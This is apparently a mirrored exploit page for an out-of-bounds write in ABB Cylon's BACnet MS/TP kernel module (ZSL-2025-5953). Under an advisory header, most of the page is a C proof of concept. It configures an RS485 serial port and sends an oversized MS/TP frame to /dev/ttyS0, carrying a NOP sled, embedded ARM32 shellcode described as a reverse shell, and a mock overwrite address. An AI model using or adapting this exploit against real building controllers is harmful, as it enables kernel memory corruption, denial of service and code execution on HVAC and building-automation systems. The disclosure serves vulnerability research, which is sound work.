ABB Cylon BACnet MS/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()

Exploit Details

Basic Information

Exploit Title ABB Cylon BACnet MS/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()
Exploit ID ZSL-2025-5953
Type zeroscience
Published 2025-05-22T00:00:00
Modified 2025-05-22T00:00:00

CVSS Information

CVSS Score 0.0
Severity NONE
Vector NONE

CVE Information

Exploit Description

Title: ABB Cylon BACnet MS/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame() Advisory ID: ZSL-2025-5953 Type: Local Impact:…

Exploit Code

/*

ABB Cylon BACnet MS/TP Kernel Module (mstp.ko) Out-of-Bounds Write in SendFrame()

Vendor: ABB Ltd.

Product web page: https://www.global.abb

Affected version: <=3.08.03

Summary: ASPECT is an award-winning scalable building energy management

and control solution designed to allow users seamless access to their

building data through standard building protocols including smart devices.

BACnet Smart Building Controllers. ABB’s BACnet portfolio features

a series of BACnet IP and BACnet MS/TP field controllers for ASPECT

and INTEGRA building management solutions. ABB BACnet controllers

are designed for intelligent control of HVAC equipment such as central

plant, boilers, chillers, cooling towers, heat pump systems, air

handling units (constant volume, variable air volume, and multi-zone),

rooftop units, electrical systems such as lighting control, variable

frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver

unprecedented connectivity and open integration for your building

automation systems. It’s scalable, and modular, allowing you to

control a diverse range of HVAC functions.

Committee: BACnet.org

InFaq:

A BACnet router is a device that passes a message from one network

to another without changing the form or content of the message. This

kind of device is used to interconnect BACnet networks that have

different media (Ethernet, MS/TP over twisted pair, etc.). It is a

simple device that just routes BACnet messages where they need to go,

without decoding or altering them. A BACnet gateway is a more complex

device that is used to interconnect a BACnet network with a non-BACnet

network (such as Modbus or KNX). A gateway must decode messages on each

network and reformat or translate the information to meet the requirements

of the other network to route messages where they need to go. Gateways

generally require more configuration, commissioning and maintenance

effort than a router, as well as being more costly.

License: GPL

Author: Muiz M. Haider

Description: BACnet MS/TP Serial Line Discipline

:: Master-Slave / Token Passing ::

Desc: A buffer overflow vulnerability exists in the mstp.ko kernel

module, responsible for processing BACnet MS/TP frames over

serial (RS485). The SendFrame() function writes directly into

a statically sized kernel buffer (alloc_entry(0x1f5)) without

validating the length of attacker-controlled data (param_5).

If an MS/TP frame contains a crafted payload exceeding 492 bytes,

the function performs out-of-bounds writes beyond the allocated

501-byte buffer, corrupting kernel memory. This flaw allows local

or physically connected attackers to trigger denial-of-service

or achieve remote code execution in kernel space. Tested against

version 3.08.03 with a custom BACnet frame over /dev/ttyS0.

mstp.KOrruption: Kernel Frame Overflow in BACnet MS/TP Module

(MSTP frame mishandling causes memory corruption in embedded RS485 stack)

Tested on: GNU/Linux Kernel 5.4.27

GNU/Linux Kernel 4.15.13

GNU/Linux 3.15.10 (armv7l)

GNU/Linux 3.10.0 (x86_64)

GNU/Linux 2.6.32 (x86_64)

Intel(R) Atom(TM) Processor E3930 @ 1.30GHz

Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic

@zeroscience

Advisory ID: ZSL-2025-5953

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5953.php

21.04.2024

*/

#include
#include

#include

#include

#include

#include

#include

#include

#define DEVICE “/dev/ttyS0” //enum

#define BAUD_RATE B9600 //modify if needed

#define BUFFER_SIZE 510 //>501 triggers overflow

#define PAYLOAD_SIZE 492 //vulnerable write starts after 8-byte offset

#define SHELLCODE_SIZE 30 //size of ARM32 reverse shell

//BACnet MSTP frame used by kernel

struct mstp_frame {

unsigned char preamble[2]; //0x55 0xFF

unsigned char frame_type; //0x00

unsigned char dest_addr; //0x01 (arbitrary)

unsigned char src_addr; //0x02 (arbitrary)

unsigned char length[2]; //2-byte length field

unsigned char header_crc; //dummy for PoC

unsigned char data[PAYLOAD_SIZE];

unsigned char data_crc[2]; //dummy CRC

};

void banner() {

printf(“\n”);

printf(” P R O J E C T\n\n”);

printf(” .|\n”);

printf(” | |\n”);

printf(” |’| ._____\n”);

printf(” ___ | | |. |’ .—\”|\n”);

printf(” _ .-‘ ‘-. | | .–‘| || | _| |\n”);

printf(” .-‘| _.| | || ‘-__ | | | || |\n”);

printf(” |’ | |. | || | | | | || |\n”);

printf(” ____| ‘-‘ ‘ \”\” ‘-‘ ‘-.’ ‘` |____\n”);

printf(“░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ \n”);

printf(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(“░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(“░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(“░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ \n”);

printf(” ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ \n”);

printf(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░\n”);

printf(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ \n”);

printf(” ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░\n”);

printf(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░\n”);

printf(” ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░\n”);

printf(” ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░\n”);

printf(“\n”);

}

void configure_serial(int fd) {

struct termios tty;

struct serial_rs485 rs485conf;

tcgetattr(fd, &tty);

cfsetospeed(&tty, BAUD_RATE);

cfsetispeed(&tty, BAUD_RATE);

tty.c_cflag = (tty.c_cflag & ~CSIZE) | CS8 | CLOCAL | CREAD;

tty.c_cflag &= ~(PARENB | CSTOPB | CRTSCTS);

tty.c_iflag &= ~(IXON | IXOFF | IXANY);

tty.c_lflag = 0;

tty.c_oflag = 0;

tty.c_cc[VMIN] = 1;

tty.c_cc[VTIME] = 0;

tcsetattr(fd, TCSANOW, &tty);

ioctl(fd, TIOCGRS485, &rs485conf);

rs485conf.flags |= SER_RS485_ENABLED;

rs485conf.flags &= ~(SER_RS485_RTS_ON_SEND);

rs485conf.flags |= SER_RS485_RTS_AFTER_SEND;

ioctl(fd, TIOCSRS485, &rs485conf);

}

//ARM32 reverse shell to /bin/sh (port-agnostic demo shell)

unsigned char shellcode[SHELLCODE_SIZE] = {

0x01, 0x30, 0x8f, 0xe2, 0x13, 0xff, 0x2f, 0xe1,

0x78, 0x46, 0x0c, 0x30, 0x01, 0x90, 0x01, 0xa9,

0x92, 0x1a, 0x0b, 0x27, 0x01, 0xdf,

0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00

};

void craft_frame(struct mstp_frame *frame) {

frame->preamble[0] = 0x55;

frame->preamble[1] = 0xFF;

frame->frame_type = 0x00;

frame->dest_addr = 0x01;

frame->src_addr = 0x02;

//492-byte payload triggers write at param_1[0x16] + 8 + i

frame->length[0] = (PAYLOAD_SIZE >> 8) & 0xFF;

frame->length[1] = PAYLOAD_SIZE & 0xFF;

frame->header_crc = 0xFF; //mock crc

memset(frame->data, 0x90, PAYLOAD_SIZE); //nop sankata

memcpy(frame->data + PAYLOAD_SIZE – SHELLCODE_SIZE – 4, shellcode, SHELLCODE_SIZE);

//Overwrite dummy ret addr or kernel jump table entry (mock addr)

*(uint32_t *)(frame->data + PAYLOAD_SIZE – 4) = 0xdeadbeef;

frame->data_crc[0] = 0xFF;

frame->data_crc[1] = 0xFF;

}

int main() {

banner();

int fd = open(DEVICE, O_RDWR);

if (fd < 0) {

perror(“Failed to open serial device”);

return 1;

}

configure_serial(fd);

struct mstp_frame frame;

craft_frame(&frame);

size_t frame_size = sizeof(frame);

ssize_t bytes_written = write(fd, &frame, frame_size);

if (bytes_written < 0) {

perror(“Failed to write frame”);

} else {

printf(“[+] Wrote %zd bytes. Buffer overflow attempt sent.\n”, bytes_written);

}

close(fd);

return 0;

}

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.